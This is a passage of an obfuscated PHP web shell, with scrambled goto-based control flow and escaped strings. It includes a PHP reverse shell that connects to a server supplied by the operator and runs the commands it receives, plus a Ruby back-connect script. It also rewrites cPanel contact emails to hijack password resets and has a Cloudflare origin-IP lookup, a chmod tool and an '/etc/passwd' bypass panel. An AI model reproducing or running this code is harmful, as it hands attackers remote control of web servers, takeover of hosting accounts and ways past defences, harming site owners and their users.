2\172\114\156\122\x76\x58\x32\x6b\116\x43\147\153\x4a\x43\x57\x56\x34\132\127\115\147\x63\63\102\171\141\127\65\x30\x5a\151\147\151\114\x32\112\x70\x62\x69\71\172\x61\103\101\x74\141\x53\102\143\120\x46\167\x6d\x4a\127\121\x67\x58\x44\65\x63\x4a\x69\x56\x6b\111\x44\x4a\143\120\x6c\167\155\112\x57\121\x69\x4c\103\102\155\x4c\103\x42\x6d\x4c\103\102\x6d\113\121\60\113\103\121\x6c\x6c\142\x48\x4e\154\104\x51\157\x4a\x43\121\x6c\x7a\114\156\102\171\141\x57\x35\x30\111\x43\x4a\x63\x63\x6c\170\165\111\151\101\x72\x49\x48\112\x6c\131\127\170\x77\131\130\122\x6f\x4b\x43\111\x75\111\151\x6b\147\x4b\x79\x41\151\x50\151\111\116\103\x67\x6b\112\103\130\x64\157\x61\127\170\154\111\x47\170\160\142\x6d\x55\147\120\123\x42\x7a\x4c\x6d\x64\x6c\144\x48\x4d\116\103\x67\153\112\x43\121\154\x79\x59\x57\154\x7a\132\x53\102\x6c\143\x6e\x4a\x76\143\x6b\112\x79\142\x79\102\160\x5a\x69\x42\163\x61\x57\x35\154\x49\104\61\53\x49\x43\x39\145\x5a\107\x6c\x6c\130\x48\x49\57\112\x43\x38\116\x43\x67\153\x4a\x43\121\154\x70\132\151\x42\x75\142\x33\121\x67\142\x47\x6c\x75\132\x53\65\x6a\141\107\x39\164\143\103\101\x39\x50\123\x41\x69\111\x67\60\113\x43\121\x6b\x4a\x43\121\154\160\x5a\151\x42\x73\141\127\x35\154\x49\x44\61\x2b\x49\x43\71\x6a\132\103\x41\165\x4b\x69\71\160\104\121\157\x4a\x43\121\x6b\x4a\x43\x51\x6c\163\x61\127\x35\x6c\x49\x44\60\x67\142\107\154\165\x5a\123\65\156\x63\x33\x56\151\x4b\x43\71\x6a\132\x43\x41\x76\141\x53\167\147\x4a\x79\x63\x70\x4c\155\x4e\x6f\x62\62\61\167\x44\x51\157\x4a\103\121\153\112\103\x51\154\x70\132\151\102\x47\x61\127\x78\154\114\155\x52\x70\x63\155\126\x6a\144\107\71\171\x65\124\x38\x6f\142\x47\x6c\165\x5a\123\153\116\103\147\153\x4a\103\x51\153\x4a\103\121\x6c\x73\141\127\x35\154\x49\x44\60\x67\143\155\x56\150\142\110\102\150\x64\107\147\157\x62\107\154\165\x5a\x53\153\116\x43\x67\153\112\x43\121\x6b\112\103\x51\154\x45\141\130\x49\165\131\62\x68\153\x61\130\x49\157\142\107\154\165\x5a\123\x6b\116\x43\147\153\112\103\121\x6b\x4a\x43\x57\126\165\x5a\101\60\113\103\121\x6b\x4a\103\x51\153\112\x63\x79\65\x77\143\x6d\154\x75\144\x43\x41\x69\x58\110\x4a\x63\x62\x69\111\x67\113\x79\102\171\132\127\x46\163\143\x47\106\60\x61\x43\147\x69\x4c\x69\x49\x70\111\x43\163\147\x49\152\x34\151\x44\121\x6f\x4a\x43\x51\x6b\112\x43\x57\126\163\x63\x32\x6c\x6d\x49\107\170\160\x62\x6d\x55\x67\120\x58\64\147\114\x31\170\63\117\x69\64\161\114\62\153\x4e\103\x67\153\112\103\121\x6b\112\103\127\154\x6d\111\105\132\x70\142\x47\125\x75\132\x47\x6c\x79\x5a\127\116\x30\x62\63\x4a\65\120\171\x68\x73\x61\127\x35\x6c\114\155\x4e\x6f\142\x32\61\167\113\x51\x30\113\103\x51\153\112\x43\121\153\112\x43\x55\122\160\x63\x69\65\152\x61\107\x52\x70\143\151\x68\163\141\x57\x35\x6c\114\155\116\x6f\x62\x32\61\x77\x4b\x51\x30\x4b\x43\121\x6b\x4a\x43\x51\153\x4a\x5a\127\65\153\104\x51\x6f\x4a\103\121\x6b\112\103\121\154\172\114\156\102\x79\141\x57\65\x30\x49\103\112\x63\143\154\170\x75\x49\151\101\x72\x49\110\112\x6c\x59\x57\x78\167\x59\130\x52\157\x4b\x43\x49\x75\x49\x69\153\x67\x4b\171\x41\x69\120\151\x49\x4e\103\147\x6b\112\x43\x51\153\x4a\x5a\127\x78\x7a\132\x51\60\x4b\103\x51\x6b\x4a\103\121\x6b\112\123\125\x38\165\143\107\71\x77\132\x57\x34\x6f\142\107\x6c\x75\132\123\x77\151\x63\x69\111\x70\x65\63\170\160\x62\x33\170\x7a\114\156\x42\x79\x61\127\x35\60\111\107\x6c\x76\x4c\x6e\112\154\x59\x57\121\x67\x4b\x79\x41\151\x58\110\112\143\142\151\111\147\113\171\102\x79\132\127\x46\x73\x63\107\x46\x30\x61\103\x67\x69\x4c\151\x49\160\111\x43\x73\x67\111\152\x34\x69\x66\121\x30\x4b\103\121\153\112\103\x51\x6c\x6c\142\x6d\x51\116\x43\147\153\112\x43\121\x6c\154\142\155\x51\116\103\147\x6b\112\103\x57\x56\x75\132\101\60\x4b\x43\x51\x6c\154\x62\155\x51\x4e\x43\x67\x6c\x79\x5a\130\116\x6a\x64\127\x55\x67\132\x58\x4a\171\142\63\112\x43\x63\x6d\70\x4e\x43\147\x6b\112\143\110\126\60\143\x79\x41\151\113\151\x6f\161\x49\103\116\67\142\x6d\106\x74\132\130\60\66\111\x33\x74\167\x62\x33\x4a\60\x66\123\102\153\x61\130\116\152\142\x32\65\x75\x5a\x57\x4e\60\132\127\121\151\x44\121\157\112\132\x57\x35\172\144\x58\x4a\154\x44\121\x6f\x4a\x43\x58\x4d\165\131\62\x78\x76\x63\62\x55\x4e\103\147\x6b\x4a\x63\171\101\x39\x49\x47\x35\x70\x62\101\60\113\x43\127\x56\165\x5a\101\60\x4b\132\127\x78\x7a\132\121\60\x4b\x43\x58\126\172\x59\x57\144\x6c\104\x51\157\x4a\132\130\150\160\x64\101\60\113\x5a\127\x35\x6b"); $IIIIIIlIIl1l = @fopen("\142\x63\x72\165\142\x79\56\162\x62", "\167"); fwrite($IIIIIIlIIl1l, $IIIIIIlIIl1I); $IIIIIIlIIl11 = ex("\x72\x75\x62\171\x20\142\143\x72\x75\x62\171\x2e\162\x62\x20" . $_POST["\x73\x65\162\x76\x65\162"] . "\40" . $_POST["\x70\157\162\164"]); sleep(1); echo "\x3c\160\162\x65\40\x63\x6c\x61\163\163\x3d\47\x74\145\170\164\55\154\151\147\150\164\47\x3e{$IIIIIIlIIl11}\xa" . ex("\160\x73\40\141\165\170\x20\174\x20\147\162\145\160\40\x62\x63\x72\165\x62\x79\56\162\x62") . "\74\x2f\160\x72\x65\x3e"; unlink("\142\x63\x72\x75\x62\171\56\162\x62"); } if ($_POST["\x62\141\x63\x6b\x63\157\x6e\156\145\x63\164"] == "\x70\150\x70") { $IIIIIIII1III = $_POST["\163\145\162\166\x65\x72"]; $port = $_POST["\x70\157\162\x74"]; $IIIIIIlII1Il = fsockopen($IIIIIIII1III, $port, $IIIIIIlII1lI, $IIIIIIlII1ll); if ($IIIIIIlII1lI != 0) { echo "\x3c\146\157\x6e\164\x20\x63\157\154\157\x72\75\47\x72\145\144\47\x3e{$IIIIIIlII1lI}\40\72\40{$IIIIIIlII1ll}\74\x2f\146\x6f\156\x74\x3e"; } else { if (!$IIIIIIlII1Il) { $IIIIIIlII1l1 = "\74\x70\76\125\156\x65\170\x70\145\143\x74\x65\144\x20\x65\x72\162\x6f\x72\x20\x68\141\x73\x20\157\x63\143\x75\x72\x65\144\54\40\143\x6f\x6e\156\x65\x63\164\151\x6f\x6e\40\x6d\141\171\x20\150\141\166\x65\40\146\141\x69\x6c\145\144\56\x3c\x2f\x70\76"; } else { fputs($IIIIIIlII1Il, "\xa\xa\x7b\43\43\43\x23\x23\43\43\x23\x23\x23\x23\x23\43\43\x23\x23\x23\43\43\x23\43\x23\43\43\43\43\43\x23\43\43\43\43\x23\x23\x23\43\43\43\43\175\12\12\x2e\56\x3a\x3a\40\102\141\143\153\x43\157\156\x6e\x65\x63\x74\40\120\110\x50\x3a\x3a\x2e\56\xa\xa\173\43\43\x23\43\43\43\43\43\x23\43\x23\x23\x23\43\x23\x23\x23\x23\x23\x23\43\x23\43\43\x23\x23\x23\x23\x23\x23\43\x23\x23\43\43\x23\43\x23\x23\175\12"); $dir = @shell_exec("\160\x77\144"); $IIIIIIlII11I = @shell_exec("\x75\156\x61\x6d\145\40\55\x61"); $time = @Shell_exec("\164\151\155\x65"); $IIIIIIlII111 = 1337; fputs($IIIIIIlII1Il, "\125\x73\145\162\x20", $IIIIIIlII11I, "\143\x6f\156\x6e\x65\143\164\x65\x64\x20\100\40", $time, ''); while (!feof($IIIIIIlII1Il)) { $IIIIIIlIlIII = "\133\x6b\x75\x64\x61\x5d\43\72\76\40"; @fputs($IIIIIIlII1Il, $IIIIIIlIlIII); $IIIIIIlIlIIl = fgets($IIIIIIlII1Il, $IIIIIIlII111); @fputs($IIIIIIlII1Il, '' . @shell_exec($IIIIIIlIlIIl) . ''); } @fclose($IIIIIIlII1Il); } } } die; } goto BQ8GD; pOIQk: function IIIIIIlIlI1I($dir) { echo "\x3c\150\x35\x20\143\154\x61\x73\163\x3d\42\164\x65\x78\164\55\143\145\x6e\164\145\x72\40\x6d\x62\x2d\64\x22\76\x3c\151\x20\x63\154\x61\x73\x73\x3d\x22\x66\141\x20\x66\141\55\153\x65\171\42\76\74\57\151\76\x20\101\165\x74\x6f\40\122\145\163\145\164\40\x50\x61\163\163\167\157\x72\x64\40\x43\x70\x61\156\145\x6c\74\x2f\x68\x35\76\xa\74\146\x6f\x72\x6d\x20\x6d\145\164\150\157\x64\75\x22\120\x4f\x53\124\x22\x3e\12\74\x64\151\x76\40\x63\154\141\x73\163\x3d\x22\146\157\x72\155\x2d\x67\x72\157\x75\x70\40\x69\x6e\x70\x75\164\55\x67\x72\x6f\x75\160\x22\x3e\12\74\x64\x69\x76\40\143\154\141\x73\x73\x3d\x22\151\x6e\x70\165\x74\x2d\147\162\157\165\x70\x2d\160\162\x65\x70\145\156\144\x22\x3e\xa\74\144\x69\x76\x20\x63\x6c\x61\163\163\x3d\42\151\x6e\x70\165\164\55\147\162\157\x75\160\x2d\x74\145\x78\164\x22\x3e\74\151\40\143\x6c\141\163\x73\75\42\x66\x61\40\x66\141\x2d\x65\x6e\166\145\154\x6f\160\x65\x22\x3e\x3c\57\151\x3e\x3c\57\x64\x69\166\x3e\xa\x3c\57\x64\151\x76\76\xa\74\x69\x6e\x70\x75\164\x20\x74\x79\x70\x65\75\x22\145\x6d\x61\151\x6c\42\x20\156\141\155\145\75\x22\x65\x6d\141\151\154\42\x20\143\x6c\x61\163\x73\x3d\42\x66\157\x72\x6d\55\x63\157\156\x74\162\x6f\x6c\x22\40\x70\154\141\143\x65\150\157\x6c\144\x65\x72\75\x22\x4d\x61\163\165\x6b\141\x6e\40\x45\x6d\141\151\154\x2e\56\x2e\x22\x2f\76\xa\x3c\57\144\151\166\76\xa\x3c\x69\156\160\165\164\x20\x74\171\x70\x65\75\x22\163\x75\142\x6d\151\x74\42\40\x6e\x61\155\145\x3d\x22\163\165\x62\155\x69\164\x22\40\143\x6c\141\x73\163\75\x22\142\x74\x6e\x20\142\164\x6e\55\x64\141\156\x67\x65\x72\x20\142\x74\156\x2d\x62\x6c\157\x63\153\x22\x20\x76\141\x6c\x75\x65\x3d\x22\123\145\156\144\42\57\x3e\12\x3c\x2f\144\x69\166\76\xa\74\x2f\x66\x6f\x72\155\x3e"; if (isset($_POST["\x73\165\x62\x6d\151\164"])) { $user = get_current_user(); $IIIIIIlIlI1l = $_SERVER["\x48\x54\x54\x50\137\110\x4f\x53\124"]; $IIIIIIlIlI11 = getenv("\122\x45\x4d\117\124\x45\137\x41\104\104\122"); $email = $_POST["\x65\x6d\x61\151\154"]; $IIIIIIlIllIl = "\x65\x6d\x61\x69\x6c\72" . $email; $IIIIIII1IlII = fopen("\57\150\157\x6d\145\x2f" . $user . "\57\56\x63\160\x61\156\x65\x6c\x2f\143\x6f\156\x74\x61\x63\x74\151\x6e\x66\157", "\x77"); @fwrite($IIIIIII1IlII, $IIIIIIlIllIl); @fclose($IIIIIII1IlII); $IIIIIII1IlII = fopen("\x2f\x68\x6f\x6d\145\57" . $user . "\x2f\x2e\143\x6f\156\x74\141\x63\x74\151\x6e\146\x6f", "\x77"); @fwrite($IIIIIII1IlII, $IIIIIIlIllIl); @fclose($IIIIIII1IlII); $IIIIIIlIllI1 = "\74\x61\40\150\x72\145\x66\x3d\x22" . $IIIIIIlIlI1l . "\x3a\62\x30\x38\x32\x2f\x72\x65\163\145\164\x70\x61\163\163\x3f\163\x74\x61\162\164\x3d\61\42\40\x74\141\x72\x67\145\164\x3d\x22\x5f\x62\x6c\141\x6e\153\x22\40\162\145\x6c\x3d\42\x6e\157\146\157\x6c\x6c\157\x77\x20\x6e\157\157\160\x65\156\x65\162\x20\x6e\x6f\162\x65\x66\145\x72\x72\x65\x72\x22\x3e" . $IIIIIIlIlI1l . "\x3a\x32\x30\x38\x32\x2f\x72\x65\x73\x65\164\x70\141\163\163\77\163\164\x61\x72\x74\75\x31\x3c\x2f\x61\76"; echo "\x3c\165\154\40\x63\x6c\141\163\163\75\x22\x6d\164\x2d\62\42\76"; echo "\x3c\154\x69\x3e\74\x73\160\x61\156\x20\x63\x6c\x61\x73\x73\75\x22\146\157\156\x74\x2d\167\x65\151\147\x68\x74\55\142\157\x6c\144\x20\164\145\x78\x74\x2d\x73\165\x63\x63\x65\163\163\42\x3e\x52\145\163\x65\x74\x3a\40\x3c\x2f\163\x70\141\156\x3e" . $IIIIIIlIllI1 . "\x3c\57\154\151\x3e"; echo "\x3c\x6c\151\x3e\x3c\163\x70\141\x6e\x20\x63\154\x61\x73\163\x3d\x22\x66\157\x6e\164\x2d\x77\145\151\x67\150\x74\55\x62\x6f\x6c\144\x20\164\x65\170\164\55\x73\x75\143\x63\x65\x73\x73\x22\76\x55\x73\x65\162\156\x61\x6d\145\x3a\x20\74\57\x73\160\141\x6e\x3e" . $user . "\74\57\x6c\151\x3e"; echo "\x3c\x6c\x69\x3e\74\x73\x70\x61\156\40\143\x6c\x61\163\163\75\42\146\157\x6e\164\55\x77\145\x69\147\150\x74\x2d\x62\157\154\144\40\x74\x65\170\164\x2d\x73\165\143\x63\145\163\163\42\x3e\105\x6d\x61\x69\x6c\72\40\x3c\x2f\x73\x70\141\x6e\x3e" . $email . "\74\x2f\x6c\151\x3e"; echo "\74\x2f\x75\154\76"; } die; } goto k5gyt; Jy1LU: function IIIIIIIllIII($dir, $IIIIIIII1l1I) { $IIIIIIIllIIl = $_SERVER["\x53\x45\x52\x56\105\122\137\116\x41\x4d\x45"]; echo "\x3c\144\x69\166\40\x63\x6c\141\x73\163\75\47\143\141\x72\x64\47\76\x3c\x64\x69\x76\40\x63\154\x61\x73\x73\x3d\47\x63\x61\x72\144\x2d\142\x6f\144\171\47\76\xa\x3c\x69\x66\x72\x61\155\x65\x20\x69\x64\75\x27\143\x6f\x6e\x74\145\156\x74\47\40\156\x61\155\x65\75\47\143\157\156\164\x65\x6e\164\47\40\163\164\171\154\x65\x3d\x27\x77\151\144\164\x68\72\x20\x31\x30\60\45\x3b\x20\x68\145\x69\147\150\164\x3a\40\x39\60\60\160\x78\x3b\40\x6f\166\x65\162\146\x6c\157\167\55\x78\72\x20\150\151\x64\144\x65\156\73\x20\157\x76\x65\162\146\154\x6f\x77\x2d\x79\72\40\163\x63\162\x6f\x6c\154\x3b\x27\40\163\x72\x63\75\47\x68\x74\164\160\x73\x3a\57\57\x77\167\x77\56\147\x6f\157\147\154\x65\56\x63\x6f\x6d\57\x73\145\141\x72\x63\x68\77\x69\x67\165\x3d\61\x26\x61\155\160\x3b\145\x69\x3d\x26\x61\155\160\73\161\x3d\x73\x69\x74\x65\45\x33\x41" . $_SERVER["\123\x45\122\126\105\122\x5f\116\x41\x4d\x45"] . "\x27\76\x3c\x70\76\x59\x6f\165\162\40\142\x72\157\167\x73\145\x72\x20\x64\x6f\145\x73\40\156\x6f\164\40\x73\165\x70\160\157\162\164\x20\x69\x66\162\x61\x6d\145\x73\56\x3c\57\x70\76\x3c\57\x69\146\x72\141\155\145\76\12\74\x2f\144\151\166\76\74\x2f\x64\x69\166\x3e"; } goto I3MH7; DwRwj: function IIIIIIIl1IlI($dir, $IIIIIIIl1Ill) { echo "\74\146\157\162\x6d\x20\x6d\x65\164\150\157\144\x3d\47\120\x4f\123\124\x27\x3e\xa\74\x68\65\x3e\103\150\x6d\157\x64\x20\106\x6f\154\x64\x65\162\x20\x3a\40{$IIIIIIIl1Ill}\x20\74\x2f\x68\x35\76\xa\x3c\144\151\x76\40\x63\154\x61\163\x73\75\x27\146\157\162\x6d\55\147\x72\157\165\x70\40\151\156\160\x75\164\55\x67\x72\157\x75\x70\47\x3e\xa\74\x69\156\160\165\x74\x20\x74\x79\160\x65\x3d\x27\x74\145\x78\164\47\x20\156\141\155\x65\75\x27\x70\145\162\x6d\47\40\x63\x6c\x61\163\163\75\47\146\157\162\x6d\55\x63\x6f\156\164\162\157\x6c\47\x20\x76\141\x6c\x75\145\75\47" . substr(sprintf("\x25\157", fileperms($_GET["\x64\151\x72"])), -4) . "\47\x3e\12\74\x69\156\x70\165\164\x20\164\x79\160\x65\x3d\x27\163\165\142\155\x69\164\x27\40\143\x6c\141\163\163\x3d\47\x62\164\x6e\40\142\x74\156\x2d\x64\x61\x6e\147\145\162\x20\146\x6f\162\x6d\x2d\143\x6f\x6e\164\162\157\154\x27\x20\x76\141\154\x75\x65\x3d\x27\x43\x68\155\x6f\144\x27\40\x6e\141\155\145\x3d\x27\x63\150\x6d\157\x27\76\12\74\x2f\144\x69\166\x3e\12\x3c\57\x66\157\162\x6d\76"; if (isset($_POST["\x63\150\x6d\157"])) { if (@chmod($_GET["\x64\x69\162"], $_POST["\x70\145\x72\155"])) { echo "\x3c\x66\157\156\x74\x20\143\157\x6c\157\x72\x3d\42\x6c\x69\x6d\x65\42\76\x43\x68\141\x6e\x67\x65\x20\x50\x65\162\x6d\x69\163\163\x69\157\x6e\x20\x42\145\x72\x68\x61\163\x69\x6c\x3c\57\x66\x6f\x6e\x74\76\74\142\162\x2f\76"; } else { echo "\x3c\146\x6f\156\x74\40\143\x6f\154\157\x72\75\42\167\x68\151\x74\x65\x22\x3e\103\x68\141\156\147\x65\40\120\x65\162\x6d\151\x73\x73\x69\157\x6e\40\107\141\x67\141\x6c\74\x2f\146\157\x6e\164\x3e\74\142\162\57\76"; } } die; } goto yn_qz; Jb3E0: if ($_GET["\x61\x6b\163\151"] == "\156\x67\145\142\145\160\x61\x73\x73") { IIIIIIIlI11I($dir, $IIIIIIII1l1I); } goto OWytU; ViFig: echo "\74\57\x74\x61\x62\x6c\145\76\74\x2f\143\x65\156\164\x65\x72\76\74\57\144\151\x76\x3e\74\x68\x72\57\x3e"; goto Y0d0y; ypc_4: function IIIIIIllIl11() { echo "\74\146\157\162\155\x20\155\145\164\150\157\144\75\x22\120\x4f\x53\x54\42\x3e\12\74\150\65\40\143\154\141\163\163\75\x22\x74\145\170\164\55\143\x65\x6e\164\x65\162\40\x6d\142\x2d\63\x22\76\x42\x79\160\141\x73\x73\x20\x43\154\x6f\x75\144\x20\x46\154\x61\162\x65\x3c\x2f\x68\x35\x3e\12\74\144\151\x76\x20\143\x6c\x61\x73\x73\75\x22\146\157\x72\155\55\x67\x72\x6f\x75\x70\x20\151\156\160\165\164\55\147\162\x6f\165\160\42\76\xa\x3c\163\x65\x6c\x65\143\x74\x20\143\x6c\141\163\x73\x3d\42\146\157\x72\155\x2d\143\x6f\156\x74\162\x6f\x6c\x22\x20\x6e\141\x6d\145\75\42\x69\144\x73\x50\151\154\151\150\42\x3e\xa\74\157\160\164\x69\157\x6e\x3e\120\x69\154\x69\x68\x20\x4d\145\x74\157\x64\x65\74\x2f\x6f\x70\x74\151\157\x6e\76\xa\x3c\157\x70\164\x69\157\156\76\146\x74\160\74\57\157\160\164\x69\x6f\156\76\xa\74\157\160\164\x69\x6f\x6e\76\x64\151\x72\x65\x63\x74\55\143\157\x6e\x6e\x74\145\x63\164\74\57\157\x70\x74\x69\157\156\76\xa\x3c\x6f\160\164\x69\x6f\x6e\76\x77\x65\142\x6d\141\151\x6c\x3c\x2f\x6f\x70\x74\151\157\156\76\12\74\157\x70\x74\x69\x6f\156\x3e\143\160\x61\x6e\145\x6c\74\x2f\157\160\x74\151\157\x6e\76\12\x3c\x2f\x73\x65\154\145\143\x74\76\12\x3c\x2f\144\151\166\x3e\xa\x3c\x64\151\x76\x20\x63\x6c\141\x73\163\75\42\x66\x6f\x72\x6d\x2d\x67\162\x6f\x75\x70\40\x69\156\160\x75\x74\x2d\x67\x72\157\165\x70\40\155\142\55\x34\42\x3e\12\x3c\151\x6e\160\x75\164\40\143\154\x61\x73\163\x3d\x22\146\x6f\162\x6d\55\x63\x6f\156\x74\x72\157\154\42\x20\164\x79\x70\145\x3d\42\x74\x65\170\164\42\x20\x6e\141\155\145\x3d\x22\x74\141\162\147\x65\164\42\40\x70\x6c\x61\143\145\x68\x6f\x6c\144\x65\162\75\42\115\x61\x73\x75\153\141\x6e\40\x55\x72\154\x22\x3e\xa\74\x69\156\x70\165\x74\x20\x63\x6c\x61\x73\163\x3d\42\x62\x74\156\40\142\164\156\x2d\x64\x61\x6e\x67\145\162\x20\146\x6f\162\155\x2d\x63\157\156\x74\x72\157\x6c\42\x20\164\x79\x70\x65\75\42\x73\165\x62\155\151\164\x22\x20\166\x61\154\x75\x65\x3d\42\102\171\160\x61\163\163\42\76\xa\x3c\57\144\x69\x76\x3e\12\74\57\x66\157\162\155\76"; $target = $_POST["\164\141\x72\x67\145\x74"]; if ($_POST["\151\144\x73\120\x69\x6c\x69\x68"] == "\146\164\160") { $ftp = gethostbyname("\x66\x74\x70\x2e" . "{$target}"); echo "\x3c\160\40\x61\154\x69\x67\156\75\x27\143\145\x6e\164\x65\162\x27\x20\144\151\x72\x3d\47\x6c\164\x72\47\76\74\x66\x6f\x6e\164\x20\146\x61\143\x65\75\47\x54\141\150\x6f\155\x61\x27\40\x73\151\172\x65\x3d\47\x33\x27\x20\143\157\154\x6f\162\x3d\x27\x23\60\60\x66\x66\60\60\47\76\x43\157\162\x72\x65\x63\x74\40\xa\x69\x70\x20\x69\x73\x20\72\40\x3c\57\x66\x6f\156\164\76\x3c\x66\x6f\156\164\x20\x66\x61\143\x65\x3d\47\124\x61\x68\157\155\x61\47\40\x73\151\x7a\x65\x3d\47\x33\47\40\x63\157\x6c\157\x72\75\47\x23\106\66\70\x42\x31\106\47\x3e{$ftp}\x3c\x2f\146\x6f\156\x74\x3e\74\x2f\160\x3e"; } if ($_POST["\x69\144\x73\120\151\x6c\151\x68"] == "\x64\x69\x72\145\143\164\x2d\x63\x6f\x6e\156\164\x65\x63\x74") { $IIIIIIllI1Il = gethostbyname("\x64\151\x72\145\x63\164\55\143\157\156\x6e\145\x63\x74\56" . "{$target}"); echo "\x3c\142\x72\76\74\x70\40\141\x6c\151\147\x6e\75\x27\143\x65\x6e\x74\145\x72\x27\40\144\x69\162\75\x27\154\164\x72\47\76\74\x66\x6f\x6e\164\40\x66\x61\143\145\x3d\47\x54\x61\x68\157\x6d\141\47\x20\x73\151\x7a\x65\75\x27\63\x27\x20\x63\157\x6c\157\162\x3d\x27\43\60\x30\x66\146\x30\x30\47\x3e\103\x6f\162\x72\x65\x63\164\x20\12\151\x70\x20\x69\x73\x20\72\40\74\x2f\146\157\156\x74\76\x3c\146\157\156\x74\40\x66\141\x63\x65\x3d\47\x54\x61\150\157\155\141\x27\40\x73\151\x7a\x65\75\x27\63\47\x20\x63\157\154\x6f\x72\x3d\x27\43\106\x36\70\102\61\x46\47\76{$IIIIIIllI1Il}\x3c\57\146\x6f\x6e\164\76\74\57\x70\x3e"; } if ($_POST["\x69\144\x73\x50\151\x6c\x69\150"] == "\167\x65\x62\x6d\x61\x69\154") { $IIIIIIII1IlI = gethostbyname("\x77\x65\x62\155\x61\151\x6c\x2e" . "{$target}"); echo "\x3c\x62\x72\x3e\x3c\x70\x20\x61\154\151\x67\x6e\75\47\143\145\x6e\164\145\162\47\40\144\x69\162\75\47\154\x74\x72\x27\76\74\x66\x6f\x6e\164\40\146\x61\143\145\75\47\124\x61\x68\157\x6d\141\x27\40\163\x69\x7a\x65\75\x27\63\x27\40\143\157\x6c\157\x72\x3d\x27\43\60\60\x66\x66\x30\x30\x27\x3e\103\157\x72\x72\145\x63\164\x20\xa\151\160\x20\151\x73\x20\72\40\x3c\57\x66\157\x6e\164\x3e\x3c\x66\157\156\164\40\146\x61\143\145\75\47\x54\x61\150\x6f\155\141\47\x20\x73\x69\172\x65\x3d\x27\63\47\40\143\x6f\x6c\157\162\x3d\47\x23\x46\66\x38\102\x31\106\x27\x3e{$IIIIIIII1IlI}\74\57\146\157\156\164\76\74\57\160\x3e"; } if ($_POST["\x69\144\163\120\151\x6c\x69\150"] == "\x63\x70\x61\156\145\154") { $cpanel = gethostbyname("\x63\x70\141\x6e\145\x6c\56" . "{$target}"); echo "\x3c\142\x72\76\x3c\x70\x20\x61\x6c\151\x67\x6e\x3d\x27\143\x65\156\164\145\x72\47\x20\144\151\162\x3d\x27\154\164\x72\x27\x3e\x3c\x66\157\x6e\164\x20\146\141\x63\x65\x3d\47\124\141\x68\157\x6d\141\x27\x20\163\x69\x7a\x65\75\47\x33\x27\x20\x63\157\154\157\x72\x3d\47\43\60\60\x66\x66\x30\60\47\x3e\103\x6f\162\162\145\143\x74\x20\12\151\x70\40\151\x73\x20\72\40\74\57\146\x6f\x6e\164\x3e\x3c\146\x6f\x6e\x74\40\146\x61\143\x65\75\47\124\141\x68\x6f\x6d\141\47\x20\163\151\172\x65\x3d\x27\63\47\x20\x63\157\154\x6f\162\75\x27\43\x46\x36\70\102\61\x46\47\x3e{$cpanel}\x3c\x2f\146\157\156\164\x3e\74\57\160\x3e"; } die; } goto BxeQ4; G1PAx: function IIIIIIIlI11I($dir, $IIIIIIII1l1I) { echo "\x3c\x64\x69\166\40\x63\154\x61\163\x73\75\47\143\x61\x72\x64\47\76\xa\74\144\151\166\x20\x63\154\141\163\x73\x3d\x27\x63\x61\162\144\55\142\x6f\x64\x79\x20\146\157\x72\x6d\x2d\147\x72\157\x75\160\47\x3e\x3c\x66\157\162\155\x3e\xa\74\150\65\76\74\160\40\143\154\141\163\163\x3d\x27\164\x65\x78\x74\x2d\x6d\x75\x74\145\144\47\76\115\x61\163\163\40\103\150\141\x6e\147\x65\x20\104\x61\164\145\40\101\x75\x74\x6f\155\x61\x74\151\157\156\x20\120\162\157\152\145\143\164\x3c\57\x70\x3e\x3c\x68\x35\x3e\12\x3c\150\65\x3e\x3c\160\40\x63\x6c\141\163\163\75\x27\164\x65\170\x74\x2d\155\x75\164\145\x64\47\x3e{$IIIIIIII1l1I}\x20\x54\141\x72\147\x65\164\40\104\151\162\145\143\164\157\162\171\57\146\x69\154\145\40\x3a\x3c\57\160\76\x3c\x2f\150\65\76\12\x3c\x69\x6e\160\x75\164\x20\x74\171\x70\145\75\x27\x74\145\x78\x74\x27\x20\143\154\x61\x73\x73\x3d\47\146\157\162\x6d\x2d\x63\157\156\164\162\x6f\x6c\x27\x20\x6e\141\155\x65\x3d\x27\156\x67\145\x62\x65\160\141\x73\x73\x6e\x79\141\47\40\141\165\164\157\143\x6f\x6d\x70\x6c\145\164\x65\x3d\x27\157\146\146\47\x20\160\154\x61\x63\145\150\157\x6c\144\x65\x72\x3d\47\x65\x78\40\x3a\40\x2f\x76\141\x72\x2f\167\x77\167\x2f\x68\164\x6d\154\47\x3e\12\x3c\x2f\x66\x6f\162\x6d\x3e\74\x2f\x64\x69\166\x3e\x3c\57\144\151\x76\x3e"; } goto ig1qN; hmrAm: function IIIIIII1lll1($dir, $file) { echo "\x3c\144\x69\166\x20\143\x6c\141\141\163\75\x22\x63\x6f\156\x74\x61\151\156\145\162\42\76\12\x3c\146\x6f\x72\x6d\40\x6d\145\164\150\157\x64\75\x22\x50\117\x53\x54\x22\76\12\x3c\x70\40\x63\154\x61\x73\163\x3d\x22\164\x65\170\164\55\x63\145\x6e\x74\145\x72\42\76\x42\x79\x70\x61\163\x73\x20\145\164\143\57\160\141\163\x73\x77\x64\40\x57\x69\164\x68\40\72\74\x2f\160\76\xa\x3c\x64\x69\166\40\143\x6c\141\163\163\x3d\x22\144\x2d\146\154\x65\x78\x20\x6a\x75\163\x74\151\146\x79\55\x63\x6f\x6e\x74\x65\x6e\x74\55\143\x65\156\x74\145\x72\x20\146\x6c\145\x78\55\167\162\141\x70\x22\x3e\xa\x3c\151\x6e\x70\x75\x74\x20\164\x79\x70\x65\x3d\x22\163\165\x62\155\151\x74\x22\40\143\x6c\141\163\x73\x3d\42\x66\151\x74\165\162\x65\40\142\164\156\40\142\164\156\x2d\144\141\156\x67\x65\x72\x20\142\x74\x6e\x2d\x73\x6d\42\40\166\141\x6c\x75\x65\75\42\123\171\x73\164\x65\x6d\40\x46\165\x6e\x63\x74\x69\x6f\x6e\x22\x20\156\141\x6d\145\75\x22\163\x79\x73\x74\x22\x3e\xa\74\151\x6e\x70\x75\x74\40\164\x79\x70\x65\75\42\x73\165\142\155\x69\x74\42\x20\143\154\x61\x73\163\75\x22\146\151\164\165\x72\x65\x20\142\164\156\40\x62\164\x6e\x2d\144\x61\x6e\x67\x65\x72\x20\x62\x74\156\x2d\163\155\42\x20\x76\x61\154\x75\x65\75\x22\120\x61\163\x73\x74\150\162\165\40\106\165\156\x63\164\151\x6f\156\x22\x20\x6e\x61\x6d\145\x3d\x22\160\141\x73\163\x74\x68\42\76\xa\x3c\x69\x6e\x70\165\164\40\x74\x79\160\145\75\42\x73\x75\142\155\151\164\x22\x20\x63\x6c\141\x73\163\75\42\146\151\164\165\x72\145\x20\142\164\156\x20\142\164\x6e\55\144\x61\x6e\x67\145\162\x2